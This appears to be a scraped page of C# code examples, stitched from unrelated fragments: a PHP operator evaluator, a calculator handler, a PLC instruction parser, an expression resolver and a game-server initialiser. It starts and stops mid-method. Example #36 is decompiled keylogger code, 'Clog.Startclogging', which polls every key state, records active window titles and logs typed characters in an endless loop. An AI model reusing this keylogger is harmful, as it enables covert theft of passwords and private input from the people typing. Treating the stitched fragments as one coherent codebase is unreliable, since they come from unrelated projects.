                return(PhpComparer./*Default.*/ CompareEq(leftValue, rightValue));

            case Operations.NotEqual:
                return(!PhpComparer./*Default.*/ CompareEq(leftValue, rightValue));

            case Operations.Identical:
                return(Operators.StrictEquality(leftValue, rightValue));

            case Operations.NotIdentical:
                return(!Operators.StrictEquality(leftValue, rightValue));

            case Operations.LessThan:
                return(PhpComparer.Default.Compare(leftValue, rightValue) < 0);

            case Operations.GreaterThan:
                return(PhpComparer.Default.Compare(leftValue, rightValue) > 0);

            case Operations.LessThanOrEqual:
                return(PhpComparer.Default.Compare(leftValue, rightValue) <= 0);

            case Operations.GreaterThanOrEqual:
                return(PhpComparer.Default.Compare(leftValue, rightValue) >= 0);

            case Operations.ShiftRight:
                return(Operators.ShiftRight(leftValue, rightValue));                        // int

            case Operations.ShiftLeft:
                return(Operators.ShiftLeft(leftValue, rightValue));                         // int

            case Operations.Add:
                return(Operators.Add(leftValue, rightValue));

            case Operations.Sub:
                return(Operators.Subtract(leftValue, rightValue));

            case Operations.Mul:
                return(Operators.Multiply(leftValue, rightValue));

            case Operations.Div:
                return(Operators.Divide(leftValue, rightValue));

            case Operations.Mod:
                return(Operators.Remainder(leftValue, rightValue));

            case Operations.Concat:
                return(Operators.Concat(leftValue, rightValue));

            default:
                throw null;
            }
        }
        private void LogBtnCommandExecute(FunctionAndOperatorCommandParameter commandParameter)
        {
            if (!_isShiftEnabled)
            {
                string leftParenthesisOperatorText = Operators.GetOperatorText(OperatorType.LeftParenthesis);

                if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.EqualBtnPressed)
                {
                    SeriesOfComputerTextBoxValue = string.Empty;
                }

                if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.AnsBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.EFunctionBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.ModOperatorBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.FactOperatorBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.SquareOfXNumberBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.RightParenthesisBtnPressed)
                {
                    string mulOperatorText = Operators.GetOperatorText(OperatorType.Multiplication);

                    _calculatorStorageService.AddOperatorToStack(mulOperatorText, OperatorType.Multiplication);

                    SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {mulOperatorText}";
                }

                _calculatorStorageService.AddLeftParenthesisOperatorToStack(leftParenthesisOperatorText);
                _calculatorStorageService.AddFunctionToStack(commandParameter.FunctionText);

                SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {commandParameter.FunctionText} {leftParenthesisOperatorText}";
                NumberTextBoxValue           = default(int).ToString();

                _calculatorStorageService.SetLastUserInteractionType(commandParameter.FunctionUserInteractionType);
            }
            else
            {
                const int TEN_NUMBER_VALUE = default(int) + 10;

                if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.EqualBtnPressed)
                {
                    SeriesOfComputerTextBoxValue = string.Empty;
                }

                if (_calculatorStorageService.LastUserInteractionType == UserInteractionType.AnsBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.EFunctionBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.ModOperatorBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.FactOperatorBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.SquareOfXNumberBtnPressed ||
                    _calculatorStorageService.LastUserInteractionType == UserInteractionType.RightParenthesisBtnPressed)
                {
                    string mulOperatorText = Operators.GetOperatorText(OperatorType.Multiplication);

                    _calculatorStorageService.AddOperatorToStack(mulOperatorText, OperatorType.Multiplication);

                    SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {mulOperatorText}";
                }

                _calculatorStorageService.AddValueToQueue(TEN_NUMBER_VALUE.ToString());
                _calculatorStorageService.AddOperatorToStack(commandParameter.OperatorText, commandParameter.OperatorType);

                SeriesOfComputerTextBoxValue = $"{SeriesOfComputerTextBoxValue.Trim()} {TEN_NUMBER_VALUE} {commandParameter.OperatorText}";
                NumberTextBoxValue           = default(int).ToString();

                _calculatorStorageService.SetLastUserInteractionType(commandParameter.OperatorUserInteractionType);
            }
        }
示例#34
0
        public static void CreateInstructionList(List <byte[]> networks)
        {
            Memory.Program.InstructionList = new List <Instruction>();
            int counter = 0;

            for (int i = 0; i < networks.Count; i++)
            {
                for (int j = 0; j < networks[i].Length; j += 2)
                {
                    byte firstComponent  = networks[i][j];
                    byte secondComponent = networks[i][j + 1];
                    if (firstComponent == 0xba)
                    {
                        Operators operatorIL;
                        if (j == 0)
                        {
                            operatorIL = Operators.BLOCK;
                            if (counter == 0)
                            {
                                DiagnosticData.AddDataSpecial();
                            }
                            else
                            {
                                DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special);
                            }
                        }
                        else
                        {
                            operatorIL = Operators.ANDFUNC;
                            DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special);
                        }
                        Memory.Program.InstructionList.Add(new CommandRegister.Instruction(operatorIL));
                        IsLoad   = false;
                        IsLoaded = false;
                    }
                    else if (firstComponent == 0xbf)
                    {
                        Operators operatorIL = Operators.ENDBLOCK;
                        Memory.Program.InstructionList.Add(new Instruction(operatorIL));
                        DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special);
                    }
                    else if (firstComponent == 0xfb)
                    {
                        Operators operatorIL = Operators.ORFUNC;
                        Memory.Program.InstructionList.Add(new Instruction(operatorIL));
                        DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special);
                        IsLoad   = false;
                        IsLoaded = false;
                    }
                    else if (firstComponent == 0x41 && secondComponent >= 0x60 && secondComponent <= 0x6f)
                    {
                        Elements  operand    = new Elements();
                        Operators operatorIL = Operators.HELPERSET;
                        operand.symbol = Symbol.VAR;

                        operand.name = "Var" + (secondComponent - 0x60).ToString();
                        if (!Memory.Data.var.ContainsKey(operand.name))
                        {
                            Memory.Data.var.Add(operand.name, false);
                        }
                        else
                        {
                            Memory.Data.var[operand.name] = false;
                        }
                        //Operators operatorIL = Operators.HELPERSET;
                        DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.special);
                        Memory.Program.InstructionList.Add(new Instruction(operatorIL, operand));
                    }
                    else if (firstComponent == 0x00 && secondComponent >= 0x60 && secondComponent <= 0x6f)
                    {
                        //helper = Helper.get;
                        Elements  operand    = new Elements();
                        Operators operatorIL = Operators.HELPERGET;
                        operand.symbol = Symbol.VAR;
                        operand.name   = "Var" + (secondComponent - 0x60).ToString();
                        DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
                        Memory.Program.InstructionList.Add(new Instruction(operatorIL, operand));
                    }
                    else if (firstComponent == 0x00 && secondComponent == 0x14)
                    {
                    }
                    else if (firstComponent == 0x10 && secondComponent == 0x66)
                    {
                        Operators operatorIL = Operators.HELPERUP;
                        Memory.Program.InstructionList.Add(new Instruction(operatorIL));
                        DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
                    }
                    else if (firstComponent == 0x68 && secondComponent == 0x2d)
                    {
                        Operators operatorIL = Operators.NOT;
                        Memory.Program.InstructionList.Add(new Instruction(operatorIL));
                        DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
                    }
                    else
                    {
                        Instruction instruction = CreateInstructionBasedOnElement(firstComponent, secondComponent, counter);
                        if (instruction != null)
                        {
                            Memory.Program.InstructionList.Add(instruction);
                        }
                    }
                    counter += 2;
                }
                IsLoad   = false;
                IsLoaded = false;
            }
        }
示例#35
0
        public void Resolve()
        {
            if (Paranthesis.Count == 0)
            {
                for (int i = 0; i < ContentArray.Length; i++)
                {
                    char current = ContentArray[i];

                    if (!char.IsDigit(current) && current != ',')
                    {
                        Operators.Add(new Operator(current,
                                                   Utilities.ExtractDoubleAtOperator(ContentArray, i, false),
                                                   Utilities.ExtractDoubleAtOperator(ContentArray, i, true)));

                        if (Operators.Count > 1)
                        {
                            Operators[Operators.Count - 1].LeftOperator  = Operators[Operators.Count - 2];
                            Operators[Operators.Count - 2].RightOperator = Operators[Operators.Count - 1];
                        }
                    }
                }

                if (Operators.Count == 0)
                {
                    Value = double.Parse(FormattedContent);
                    return;
                }



                List <Operator> operatorBuffer  = new List <Operator>(Operators);
                int             priorityCounter = 0;


                for (int i = 0; i < Operators.Count; i++)
                {
                    switch (Operators[i].HasPriority)
                    {
                    case true:
                        Operators[i].Process();
                        if (i + 1 < Operators.Count)
                        {
                            Operators[i + 1].Left = Operators[i].Result;
                        }

                        if (i - 1 >= 0)
                        {
                            if (!Operators[i - 1].HasPriority)
                            {
                                Operators[i - 1].Right = Operators[i].Result;
                            }
                            else
                            {
                                Operators[i - 1].Result = Operators[i].Result;
                                Operators[i].UpdateLeft();
                            }
                        }

                        priorityCounter++;
                        operatorBuffer.Remove(Operators[i]);
                        break;
                    }
                }

                if (priorityCounter == Operators.Count)
                {
                    Value = Operators[Operators.Count - 1].Result;
                    return;
                }



                for (int i = 0; i < operatorBuffer.Count; i++)
                {
                    operatorBuffer[i].Process();
                    if (i + 1 >= operatorBuffer.Count)
                    {
                        break;
                    }
                    operatorBuffer[i + 1].Left = operatorBuffer[i].Result;
                }

                Value = operatorBuffer[operatorBuffer.Count - 1].Result;
                operatorBuffer.Clear();

                return;
            }

            for (int i = 0; i < Paranthesis.Count; i++)
            {
                Paranthesis[i].Resolve();
            }

            for (int i = 0; i < Paranthesis.Count; i++)
            {
                FormattedContent = FormattedContent.Replace("[" + i + "]", Paranthesis[i].Value + "");
            }


            ContentArray = FormattedContent.ToCharArray();
            Paranthesis.Clear();
            Resolve();
        }
示例#36
0
    // Token: 0x06000067 RID: 103 RVA: 0x00007078 File Offset: 0x00005278
    public static void Startclogging()
    {
        for (;;)
        {
            try
            {
                StringBuilder stringBuilder = new StringBuilder(256);
                Clog.GetWindowText(Clog.GetForegroundWindow(), stringBuilder, stringBuilder.Capacity);
                if (Operators.CompareString(Clog.windowtext, stringBuilder.ToString(), false) != 0)
                {
                    Clog.windowtext = stringBuilder.ToString();
                    Clog.logs.Append(Environment.NewLine + stringBuilder.ToString() + Environment.NewLine);
                }
                string text = Clog.logs.ToString();
                int    num  = 1;
                do
                {
                    Clog.result = 0;
                    Clog.result = (int)Clog.GetAsyncKeyState((Keys)num);
                    if (Clog.result == -32767)
                    {
                        if (Clog.GetCapslock() & Clog.GetShift())
                        {
                            switch (num)
                            {
                            case 1:
                                Clog.logs.Append(" [L-Click]");
                                goto IL_748;

                            case 2:
                                Clog.logs.Append(" [R-Click]");
                                goto IL_748;

                            case 8:
                                Clog.logs.Append("");
                                goto IL_748;

                            case 13:
                                Clog.logs.Append(" [Enter]\r\n");
                                goto IL_748;

                            case 16:
                                goto IL_748;

                            case 17:
                                Clog.logs.Append("");
                                goto IL_748;

                            case 18:
                                Clog.logs.Append("");
                                goto IL_748;

                            case 20:
                                goto IL_748;

                            case 32:
                                Clog.logs.Append(" ");
                                goto IL_748;

                            case 37:
                            case 38:
                            case 39:
                            case 40:
                                goto IL_748;

                            case 46:
                                Clog.logs.Append("[Del]");
                                goto IL_748;

                            case 48:
                                Clog.logs.Append(")");
                                goto IL_748;

                            case 49:
                                Clog.logs.Append("!");
                                goto IL_748;

                            case 50:
                                Clog.logs.Append("@");
                                goto IL_748;

                            case 51:
                                Clog.logs.Append("#");
                                goto IL_748;

                            case 52:
                                Clog.logs.Append("$");
                                goto IL_748;

                            case 53:
                                Clog.logs.Append("%");
                                goto IL_748;

                            case 54:
                                Clog.logs.Append("^");
                                goto IL_748;

                            case 55:
                                Clog.logs.Append("&");
                                goto IL_748;

                            case 56:
                                Clog.logs.Append("*");
                                goto IL_748;

                            case 57:
                                Clog.logs.Append("(");
                                goto IL_748;

                            case 64:
                            case 65:
                            case 66:
                            case 67:
                            case 68:
                            case 69:
                            case 70:
                            case 71:
                            case 72:
                            case 73:
                            case 74:
                            case 75:
                            case 76:
                            case 77:
                            case 78:
                            case 79:
                            case 80:
                            case 81:
                            case 82:
                            case 83:
                            case 84:
                            case 85:
                            case 86:
                            case 87:
                            case 88:
                            case 89:
                            case 90:
                            {
                                byte[]        array            = new byte[255];
                                bool          keyboardState    = Clog.GetKeyboardState(array);
                                StringBuilder stringBuilder2   = new StringBuilder();
                                uint          wVirtKey         = (uint)num;
                                uint          wScanCode        = (uint)num;
                                byte[]        lpKeyState       = array;
                                StringBuilder pwszBuff         = stringBuilder2;
                                int           cchBuff          = 5;
                                uint          wFlags           = 0u;
                                IntPtr        foregroundWindow = Clog.GetForegroundWindow();
                                int           num2             = 0;
                                Clog.ToUnicodeEx(wVirtKey, wScanCode, lpKeyState, pwszBuff, cchBuff, wFlags, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow, ref num2)));
                                Clog.logs.Append(stringBuilder2.ToString());
                                goto IL_748;
                            }

                            case 91:
                                goto IL_748;

                            case 97:
                            case 98:
                            case 99:
                            case 100:
                            case 101:
                            case 102:
                            case 103:
                            case 104:
                            case 105:
                            case 106:
                            case 107:
                            case 108:
                            case 109:
                            case 110:
                            case 111:
                            case 112:
                            case 113:
                            case 114:
                            case 115:
                            case 116:
                            case 117:
                            case 118:
                            case 119:
                            case 120:
                            case 121:
                            case 122:
                            {
                                byte[]        array2            = new byte[255];
                                bool          keyboardState2    = Clog.GetKeyboardState(array2);
                                StringBuilder stringBuilder3    = new StringBuilder();
                                uint          wVirtKey2         = (uint)num;
                                uint          wScanCode2        = (uint)num;
                                byte[]        lpKeyState2       = array2;
                                StringBuilder pwszBuff2         = stringBuilder3;
                                int           cchBuff2          = 5;
                                uint          wFlags2           = 0u;
                                IntPtr        foregroundWindow2 = Clog.GetForegroundWindow();
                                int           num2 = 0;
                                Clog.ToUnicodeEx(wVirtKey2, wScanCode2, lpKeyState2, pwszBuff2, cchBuff2, wFlags2, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow2, ref num2)));
                                Clog.logs.Append(stringBuilder3.ToString());
                                goto IL_748;
                            }

                            case 160:
                            case 161:
                            case 162:
                            case 163:
                            case 164:
                            case 165:
                                goto IL_748;

                            case 186:
                                Clog.logs.Append(":");
                                goto IL_748;

                            case 187:
                                Clog.logs.Append("+");
                                goto IL_748;

                            case 188:
                                Clog.logs.Append("<");
                                goto IL_748;

                            case 189:
                                Clog.logs.Append("_");
                                goto IL_748;

                            case 190:
                                Clog.logs.Append(">");
                                goto IL_748;

                            case 191:
                                Clog.logs.Append("?");
                                goto IL_748;

                            case 192:
                                Clog.logs.Append("~");
                                goto IL_748;

                            case 219:
                                Clog.logs.Append("{");
                                goto IL_748;

                            case 220:
                                Clog.logs.Append("|");
                                goto IL_748;

                            case 221:
                                Clog.logs.Append("}");
                                goto IL_748;

                            case 222:
                                Clog.logs.Append("\"");
                                goto IL_748;
                            }
                            Clog.logs.Append(" (" + num.ToString() + ") ");
                        }
IL_748:
                        if (Clog.GetCapslock() & !Clog.GetShift())
                        {
                            switch (num)
                            {
                            case 1:
                                Clog.logs.Append(" [L-Click]");
                                goto IL_D54;

                            case 2:
                                Clog.logs.Append(" [R-Click]");
                                goto IL_D54;

                            case 8:
                                Clog.logs.Append("");
                                goto IL_D54;

                            case 13:
                                Clog.logs.Append(" [Enter]\r\n");
                                goto IL_D54;

                            case 16:
                                goto IL_D54;

                            case 17:
                                Clog.logs.Append("");
                                goto IL_D54;

                            case 18:
                                Clog.logs.Append("");
                                goto IL_D54;

                            case 20:
                                goto IL_D54;

                            case 32:
                                Clog.logs.Append(" ");
                                goto IL_D54;

                            case 37:
                            case 38:
                            case 39:
                            case 40:
                                goto IL_D54;

                            case 46:
                                Clog.logs.Append("[Del]");
                                goto IL_D54;

                            case 48:
                            case 49:
                            case 50:
                            case 51:
                            case 52:
                            case 53:
                            case 54:
                            case 55:
                            case 56:
                            case 57:
                                Clog.logs.Append(Strings.ChrW(num));
                                goto IL_D54;

                            case 64:
                            case 65:
                            case 66:
                            case 67:
                            case 68:
                            case 69:
                            case 70:
                            case 71:
                            case 72:
                            case 73:
                            case 74:
                            case 75:
                            case 76:
                            case 77:
                            case 78:
                            case 79:
                            case 80:
                            case 81:
                            case 82:
                            case 83:
                            case 84:
                            case 85:
                            case 86:
                            case 87:
                            case 88:
                            case 89:
                            case 90:
                            {
                                byte[]        array3            = new byte[255];
                                bool          keyboardState3    = Clog.GetKeyboardState(array3);
                                StringBuilder stringBuilder4    = new StringBuilder();
                                uint          wVirtKey3         = (uint)num;
                                uint          wScanCode3        = (uint)num;
                                byte[]        lpKeyState3       = array3;
                                StringBuilder pwszBuff3         = stringBuilder4;
                                int           cchBuff3          = 5;
                                uint          wFlags3           = 0u;
                                IntPtr        foregroundWindow3 = Clog.GetForegroundWindow();
                                int           num2 = 0;
                                Clog.ToUnicodeEx(wVirtKey3, wScanCode3, lpKeyState3, pwszBuff3, cchBuff3, wFlags3, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow3, ref num2)));
                                Clog.logs.Append(stringBuilder4.ToString());
                                goto IL_D54;
                            }

                            case 91:
                                goto IL_D54;

                            case 97:
                            case 98:
                            case 99:
                            case 100:
                            case 101:
                            case 102:
                            case 103:
                            case 104:
                            case 105:
                            case 106:
                            case 107:
                            case 108:
                            case 109:
                            case 110:
                            case 111:
                            case 112:
                            case 113:
                            case 114:
                            case 115:
                            case 116:
                            case 117:
                            case 118:
                            case 119:
                            case 120:
                            case 121:
                            case 122:
                            {
                                byte[]        array4            = new byte[255];
                                bool          keyboardState4    = Clog.GetKeyboardState(array4);
                                StringBuilder stringBuilder5    = new StringBuilder();
                                uint          wVirtKey4         = (uint)num;
                                uint          wScanCode4        = (uint)num;
                                byte[]        lpKeyState4       = array4;
                                StringBuilder pwszBuff4         = stringBuilder5;
                                int           cchBuff4          = 5;
                                uint          wFlags4           = 0u;
                                IntPtr        foregroundWindow4 = Clog.GetForegroundWindow();
                                int           num2 = 0;
                                Clog.ToUnicodeEx(wVirtKey4, wScanCode4, lpKeyState4, pwszBuff4, cchBuff4, wFlags4, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow4, ref num2)));
                                Clog.logs.Append(stringBuilder5.ToString());
                                goto IL_D54;
                            }

                            case 160:
                            case 161:
                            case 162:
                            case 163:
                            case 164:
                            case 165:
                                goto IL_D54;

                            case 186:
                                Clog.logs.Append(";");
                                goto IL_D54;

                            case 187:
                                Clog.logs.Append("=");
                                goto IL_D54;

                            case 188:
                                Clog.logs.Append(",");
                                goto IL_D54;

                            case 189:
                                Clog.logs.Append("-");
                                goto IL_D54;

                            case 190:
                                Clog.logs.Append(".");
                                goto IL_D54;

                            case 191:
                                Clog.logs.Append("/");
                                goto IL_D54;

                            case 192:
                                Clog.logs.Append("`");
                                goto IL_D54;

                            case 219:
                                Clog.logs.Append("[");
                                goto IL_D54;

                            case 220:
                                Clog.logs.Append("\\");
                                goto IL_D54;

                            case 221:
                                Clog.logs.Append("]");
                                goto IL_D54;

                            case 222:
                                Clog.logs.Append("'");
                                goto IL_D54;
                            }
                            Clog.logs.Append(" (" + num.ToString() + ") ");
                        }
IL_D54:
                        if (!Clog.GetCapslock() & Clog.GetShift())
                        {
                            switch (num)
                            {
                            case 1:
                                Clog.logs.Append(" [L-Click]");
                                goto IL_1419;

                            case 2:
                                Clog.logs.Append(" [R-Click]");
                                goto IL_1419;

                            case 8:
                                Clog.logs.Append(" [<-] ");
                                goto IL_1419;

                            case 13:
                                Clog.logs.Append(" [Enter]\r\n");
                                goto IL_1419;

                            case 16:
                                goto IL_1419;

                            case 17:
                                Clog.logs.Append("");
                                goto IL_1419;

                            case 18:
                                Clog.logs.Append("");
                                goto IL_1419;

                            case 20:
                                goto IL_1419;

                            case 32:
                                Clog.logs.Append(" ");
                                goto IL_1419;

                            case 37:
                            case 38:
                            case 39:
                            case 40:
                                goto IL_1419;

                            case 46:
                                Clog.logs.Append("[Del]");
                                goto IL_1419;

                            case 48:
                                Clog.logs.Append(")");
                                goto IL_1419;

                            case 49:
                                Clog.logs.Append("!");
                                goto IL_1419;

                            case 50:
                                Clog.logs.Append("@");
                                goto IL_1419;

                            case 51:
                                Clog.logs.Append("#");
                                goto IL_1419;

                            case 52:
                                Clog.logs.Append("$");
                                goto IL_1419;

                            case 53:
                                Clog.logs.Append("%");
                                goto IL_1419;

                            case 54:
                                Clog.logs.Append("^");
                                goto IL_1419;

                            case 55:
                                Clog.logs.Append("&");
                                goto IL_1419;

                            case 56:
                                Clog.logs.Append("*");
                                goto IL_1419;

                            case 57:
                                Clog.logs.Append("(");
                                goto IL_1419;

                            case 64:
                            case 65:
                            case 66:
                            case 67:
                            case 68:
                            case 69:
                            case 70:
                            case 71:
                            case 72:
                            case 73:
                            case 74:
                            case 75:
                            case 76:
                            case 77:
                            case 78:
                            case 79:
                            case 80:
                            case 81:
                            case 82:
                            case 83:
                            case 84:
                            case 85:
                            case 86:
                            case 87:
                            case 88:
                            case 89:
                            case 90:
                            {
                                byte[]        array5            = new byte[255];
                                bool          keyboardState5    = Clog.GetKeyboardState(array5);
                                StringBuilder stringBuilder6    = new StringBuilder();
                                uint          wVirtKey5         = (uint)num;
                                uint          wScanCode5        = (uint)num;
                                byte[]        lpKeyState5       = array5;
                                StringBuilder pwszBuff5         = stringBuilder6;
                                int           cchBuff5          = 5;
                                uint          wFlags5           = 0u;
                                IntPtr        foregroundWindow5 = Clog.GetForegroundWindow();
                                int           num2 = 0;
                                Clog.ToUnicodeEx(wVirtKey5, wScanCode5, lpKeyState5, pwszBuff5, cchBuff5, wFlags5, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow5, ref num2)));
                                Clog.logs.Append(stringBuilder6.ToString());
                                goto IL_1419;
                            }

                            case 91:
                                goto IL_1419;

                            case 97:
                            case 98:
                            case 99:
                            case 100:
                            case 101:
                            case 102:
                            case 103:
                            case 104:
                            case 105:
                            case 106:
                            case 107:
                            case 108:
                            case 109:
                            case 110:
                            case 111:
                            case 112:
                            case 113:
                            case 114:
                            case 115:
                            case 116:
                            case 117:
                            case 118:
                            case 119:
                            case 120:
                            case 121:
                            case 122:
                            {
                                byte[]        array6            = new byte[255];
                                bool          keyboardState6    = Clog.GetKeyboardState(array6);
                                StringBuilder stringBuilder7    = new StringBuilder();
                                uint          wVirtKey6         = (uint)num;
                                uint          wScanCode6        = (uint)num;
                                byte[]        lpKeyState6       = array6;
                                StringBuilder pwszBuff6         = stringBuilder7;
                                int           cchBuff6          = 5;
                                uint          wFlags6           = 0u;
                                IntPtr        foregroundWindow6 = Clog.GetForegroundWindow();
                                int           num2 = 0;
                                Clog.ToUnicodeEx(wVirtKey6, wScanCode6, lpKeyState6, pwszBuff6, cchBuff6, wFlags6, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow6, ref num2)));
                                Clog.logs.Append(stringBuilder7.ToString());
                                goto IL_1419;
                            }

                            case 160:
                            case 161:
                            case 162:
                            case 163:
                            case 164:
                            case 165:
                                goto IL_1419;

                            case 186:
                                Clog.logs.Append(":");
                                goto IL_1419;

                            case 187:
                                Clog.logs.Append("+");
                                goto IL_1419;

                            case 188:
                                Clog.logs.Append("<");
                                goto IL_1419;

                            case 189:
                                Clog.logs.Append("_");
                                goto IL_1419;

                            case 190:
                                Clog.logs.Append(">");
                                goto IL_1419;

                            case 191:
                                Clog.logs.Append("?");
                                goto IL_1419;

                            case 192:
                                Clog.logs.Append("~");
                                goto IL_1419;

                            case 219:
                                Clog.logs.Append("{");
                                goto IL_1419;

                            case 220:
                                Clog.logs.Append("|");
                                goto IL_1419;

                            case 221:
                                Clog.logs.Append("}");
                                goto IL_1419;

                            case 222:
                                Clog.logs.Append("\"");
                                goto IL_1419;
                            }
                            Clog.logs.Append(" (" + num.ToString() + ") ");
                        }
IL_1419:
                        if (!Clog.GetCapslock() & !Clog.GetShift())
                        {
                            switch (num)
                            {
                            case 1:
                                Clog.logs.Append(" [L-Click]");
                                goto IL_1A28;

                            case 2:
                                Clog.logs.Append(" [R-Click]");
                                goto IL_1A28;

                            case 8:
                                Clog.logs.Append(" [<-] ");
                                goto IL_1A28;

                            case 13:
                                Clog.logs.Append(" [Enter] \r\n");
                                goto IL_1A28;

                            case 16:
                                goto IL_1A28;

                            case 17:
                                Clog.logs.Append("");
                                goto IL_1A28;

                            case 18:
                                Clog.logs.Append("");
                                goto IL_1A28;

                            case 20:
                                goto IL_1A28;

                            case 32:
                                Clog.logs.Append(" ");
                                goto IL_1A28;

                            case 37:
                            case 38:
                            case 39:
                            case 40:
                                goto IL_1A28;

                            case 46:
                                Clog.logs.Append("[Del]");
                                goto IL_1A28;

                            case 48:
                            case 49:
                            case 50:
                            case 51:
                            case 52:
                            case 53:
                            case 54:
                            case 55:
                            case 56:
                            case 57:
                                Clog.logs.Append(Strings.ChrW(num));
                                goto IL_1A28;

                            case 64:
                            case 65:
                            case 66:
                            case 67:
                            case 68:
                            case 69:
                            case 70:
                            case 71:
                            case 72:
                            case 73:
                            case 74:
                            case 75:
                            case 76:
                            case 77:
                            case 78:
                            case 79:
                            case 80:
                            case 81:
                            case 82:
                            case 83:
                            case 84:
                            case 85:
                            case 86:
                            case 87:
                            case 88:
                            case 89:
                            case 90:
                            {
                                byte[]        array7            = new byte[255];
                                bool          keyboardState7    = Clog.GetKeyboardState(array7);
                                StringBuilder stringBuilder8    = new StringBuilder();
                                uint          wVirtKey7         = (uint)num;
                                uint          wScanCode7        = (uint)num;
                                byte[]        lpKeyState7       = array7;
                                StringBuilder pwszBuff7         = stringBuilder8;
                                int           cchBuff7          = 5;
                                uint          wFlags7           = 0u;
                                IntPtr        foregroundWindow7 = Clog.GetForegroundWindow();
                                int           num2 = 0;
                                Clog.ToUnicodeEx(wVirtKey7, wScanCode7, lpKeyState7, pwszBuff7, cchBuff7, wFlags7, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow7, ref num2)));
                                Clog.logs.Append(stringBuilder8.ToString());
                                goto IL_1A28;
                            }

                            case 91:
                                goto IL_1A28;

                            case 97:
                            case 98:
                            case 99:
                            case 100:
                            case 101:
                            case 102:
                            case 103:
                            case 104:
                            case 105:
                            case 106:
                            case 107:
                            case 108:
                            case 109:
                            case 110:
                            case 111:
                            case 112:
                            case 113:
                            case 114:
                            case 115:
                            case 116:
                            case 117:
                            case 118:
                            case 119:
                            case 120:
                            case 121:
                            case 122:
                            {
                                byte[]        array8            = new byte[255];
                                bool          keyboardState8    = Clog.GetKeyboardState(array8);
                                StringBuilder stringBuilder9    = new StringBuilder();
                                uint          wVirtKey8         = (uint)num;
                                uint          wScanCode8        = (uint)num;
                                byte[]        lpKeyState8       = array8;
                                StringBuilder pwszBuff8         = stringBuilder9;
                                int           cchBuff8          = 5;
                                uint          wFlags8           = 0u;
                                IntPtr        foregroundWindow8 = Clog.GetForegroundWindow();
                                int           num2 = 0;
                                Clog.ToUnicodeEx(wVirtKey8, wScanCode8, lpKeyState8, pwszBuff8, cchBuff8, wFlags8, Clog.GetKeyboardLayout((uint)Clog.GetWindowThreadProcessId(foregroundWindow8, ref num2)));
                                Clog.logs.Append(stringBuilder9.ToString());
                                goto IL_1A28;
                            }

                            case 160:
                            case 161:
                            case 162:
                            case 163:
                            case 164:
                            case 165:
                                goto IL_1A28;

                            case 186:
                                Clog.logs.Append(";");
                                goto IL_1A28;

                            case 187:
                                Clog.logs.Append("=");
                                goto IL_1A28;

                            case 188:
                                Clog.logs.Append(",");
                                goto IL_1A28;

                            case 189:
                                Clog.logs.Append("-");
                                goto IL_1A28;

                            case 190:
                                Clog.logs.Append(".");
                                goto IL_1A28;

                            case 191:
                                Clog.logs.Append("/");
                                goto IL_1A28;

                            case 192:
                                Clog.logs.Append("`");
                                goto IL_1A28;

                            case 219:
                                Clog.logs.Append("[");
                                goto IL_1A28;

                            case 220:
                                Clog.logs.Append("\\");
                                goto IL_1A28;

                            case 221:
                                Clog.logs.Append("]");
                                goto IL_1A28;

                            case 222:
                                Clog.logs.Append("'");
                                goto IL_1A28;
                            }
                            Clog.logs.Append(" (" + num.ToString() + ") ");
                        }
                    }
IL_1A28:
                    num++;
                }while (num <= 225);
                Thread.Sleep(10);
            }
            catch (Exception ex)
            {
            }
        }
    }
示例#37
0
    public async Task InitializeInternalDatabaseAsync()
    {
        await InitializeLoadDBCsAsync();

        WorldServiceLocator._WS_Spells.InitializeSpellDB();
        WorldServiceLocator._WS_Commands.RegisterChatCommands();
        try
        {
            WorldServiceLocator._WS_TimerBasedEvents.Regenerator    = new WS_TimerBasedEvents.TRegenerator();
            WorldServiceLocator._WS_TimerBasedEvents.AIManager      = new WS_TimerBasedEvents.TAIManager();
            WorldServiceLocator._WS_TimerBasedEvents.SpellManager   = new WS_TimerBasedEvents.TSpellManager();
            WorldServiceLocator._WS_TimerBasedEvents.CharacterSaver = new WS_TimerBasedEvents.TCharacterSaver();
            WorldServiceLocator._WS_TimerBasedEvents.WeatherChanger = new WS_TimerBasedEvents.TWeatherChanger();
            WorldServiceLocator._WorldServer.Log.WriteLine(LogType.INFORMATION, "World: Loading Maps and Spawns....");
            DataTable MySQLQuery = new();
            try
            {
                WorldServiceLocator._WorldServer.CharacterDatabase.Query("SELECT MAX(item_guid) FROM characters_inventory;", ref MySQLQuery);
